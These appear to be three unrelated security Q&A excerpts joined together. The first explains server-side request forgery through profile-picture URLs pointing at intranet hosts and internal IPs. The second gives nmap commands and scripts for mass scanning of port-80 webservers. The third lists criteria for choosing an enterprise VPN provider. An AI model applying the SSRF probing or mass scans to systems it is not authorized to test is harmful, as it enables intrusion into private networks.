Your linked  video shows a typical scenario: Many community websites give you the ability to provide a link to a resource, e.g. the URL to a profile picture you want to upload (StackExchange does that, too). The web server will then try to fetch that resource to download it to their own CDN or processes it in some way.

The most common attack idea here is that you can make the server fetch a resource that only the server has access to but you don't, e.g. intranet servers behind a firewall.

So you could specify a link to http://intranet/ instead of a genuine profile picture URL and hope that the server fetches a page from its own intranet, thereby revealing the content to you. Similarly, you could guess internal IP addresses and port numbers that might be blocked to you but not the requesting server. In case you don't get useful content back you could still measure response times or conclude from error messages if the target IPs exists in their internal network.


Most efficient way to scan for webservers Lets say I want to scan a large amount of ip addresses for webservers running on port 80 (aware that there are other ports for webservers, ignoring for example).

What would be the most efficient way to do this?

Here are some options:

1) run a bash/python script that runs multiple instances of nmap simultaneously with only one port being scanned, command would look like this:

nmap --append-output -oG output.txt -p 80 -Pn -sS xxx.xxx.xxx.xxx (ip address) &

2) create a python script that attempts a GET request for each ip address (also running multiple instances simultaneously)

Essentially, my question(s) are: are any of these options the fastest way, or is there a faster way that I'm not thinking of, also, is nmap efficient compared to a python script or is there a lot of overhead in terms of requests, memory footprint etc.

Bonus Thought

An idea that crossed my mind was to run a bash/python script doing NSLLOKUP on each ip address, though this wouldn't give me webservers that don't have DNS configured, the plus side would be scanning without sending any packets into the network

Nmap itself can do everything you asked for, in an efficient way using simple NSE scripts.

Scan large numbers of servers for port 80: nmap -p80 -PS80 --open
Do a GET request for each root page: --script http-fetch --script-args 'maxpagecount=1,destination=/tmp/files . This unfortunately doesn't work well for multiple targets as of Nmap 7.60, but it wouldn't take much of a fix to make it do so. Other scripts you may be interested in are http-grep, or http-headers.
NSLOOKUP on each address: this is unspecific, but Nmap can do:

Reverse DNS (PTR record) lookup, done by default unless you use -n. If this is all you want, use -sL for "list scan."
Forward lookup of hostnames/domains. Nmap does this by necessity, but if this is all you want, then use -sL -n.


How to pick an enterprise VPN provider? We have always deployed our own VPN using an open source package, but as our company is growing we've become increasingly aware of the importance of scaling this solution, especially now we operate across multiple countries.

We're looking at an enterprise VPN provider to take away some of the scalability challenges and who can also act as an VPN advisor going forward.

Does anyone have information on what questions are important to ask when choosing an enterprise VPN provider?

You should consider the following criteria:

Privacy - In which condition the VPN provider will give your credential and data to other legal institutions?
Security - Dose the VPN provider has any responsive penetration testing made by a 3rd party?
Uptime - Average uptime.
Back-up solution - What if the VPN provider is taken down ... how will you work in those condition? Do they have back-up equipment at another location?
What's the law and the general monitoring level in that specific country?
Price and solutions/penalties in case they can't provide the service.